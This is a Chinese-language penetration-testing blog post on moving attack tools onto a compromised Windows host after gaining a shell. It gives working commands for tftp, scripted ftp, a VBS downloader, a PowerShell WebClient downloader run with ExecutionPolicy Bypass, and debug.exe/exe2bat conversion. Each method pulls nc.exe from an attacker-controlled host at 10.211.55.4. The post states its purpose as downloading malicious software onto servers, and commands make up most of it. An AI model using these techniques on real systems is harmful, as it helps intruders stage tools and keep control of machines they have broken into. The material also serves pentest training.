File Transfers

简介
当我们通过信息收集、漏洞利用进入到后渗透阶段时, 我们会拥有一个shell(WEB Shell、Reverse Shell等); 此时我们需要上传一些后渗透工具如: nmap、masscan、nc、其他poc、exp、密码dump软件等;
互联网公司的企业内网机器都会安装杀毒软件, 杀毒软件通过已知恶意软件的hash签名库、动态沙箱等技术对恶意软件进行检查, 找到恶意应用并进行清除; 本文主要介绍如何在服务器上下载恶意软件完成后渗透, 暂不讨论绕过杀软相关问题。

文章目录

  • windows
  • linux

Windows

windows系统预安装的程序中可用来下载文件的只有ftp, 因此可通过ftp从自建ftp服务器上下载文件; 在后渗透阶段, 经常遇到webshell, 此时无法使用交互式shell, 因此需要使用非交互式shell进行文件下载, 下面将分别介绍通过tftp/ftp/vbscript/powershell/debug.exe进行非交互式文件下载。

tft

1
2
3
4
5
6
# kali开启tftp服务
$ cd ~;mkdir tftp;atftpd --daemon --port=69 ./tftp
$ cp /usr/share/winwows-binaries/nc.exe ./tftp

# windows用tftp下载nc
$ tftp -i 10.211.55.4 get nc.exe

ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# kali用python开启ftp服务
$ pip install pyftpdlib
$ python -m pyftpdlib -p 21
$ mkdir ftp; cp /usr/share/windows-binaries/nc.exe ./ftp

# Windows用ftp下载nc
# download.txt
$ echo "open 10.211.55.4 21">ftp.txt
$ echo "anonymous">>ftp.txt
$ echo "anonymous">>ftp.txt
$ echo "bin">>ftp.txt
$ echo "GET nc.exe">>ftp.txt
$ echo "bye">>ftp.txt

$ ftp -s:ftp.txt

vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Windows vbs wget下载脚本
echo steUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = Wscript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# 下载
$ cscript wget.vbs http://10.211.55.4/nc.exe nc.exe

powershell

1
2
3
4
5
6
7
echo "$storageDir = $pwd" > wget.ps1
echo "$webclient = New-Object System.Net.WebClient" >>wget.ps1
echo "$url = $args[0]" >>wget.ps1
echo "$file = $args[1]" >>wget.ps1
echo "$webclient.DownloadFile($url,$file)" >>wget.ps1

$ powershell.exe --ExecutionPolicy Bypass --NoLogo --NonInteractive --NoProfile --File wget.ps1 http://10.211.55.4/nc.exe nc.exe

debug.exe

在Win32系统上另一个常见的下载工具是Debug.exe, debug.exe可作为汇编、反汇编和16进制转储工具; 用debug.exe进行文件传输的方法与使用脚本语言传输的方法类似, 但是使用debug.exe创建的文件最大为64kb, 因此只能用来传递一些小文件, 例如: nc.exe等;

1
2
3
4
5
6
7
8
9
10
11
# kali 将nc.exe创建为debug.exe所需的文件
$ cd ~/tmp
$ locate nc.exe | grep binaries
$ cp /usr/share/windows-binaries/nc.exe ./
$ ls -l nc.exe
# 用upx对文件进行压缩
$ upx -9 nc.exe
# 将压缩后的nc.exe转换为批处理文件
$ cp /usr/share/windows-binaries/exe2bat.exe ./
$ win exe2bat.exe nc.exe nc.txt
# 查看并复制nc.txt文本中的内容, 粘贴到windows shell中运行

linux

linux下预安装的软件有很多可用于下载文件, 如: nc、netcat、wget、curl等, 此外, git、ftp、tftp等工具也都可以用于下载文件.

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%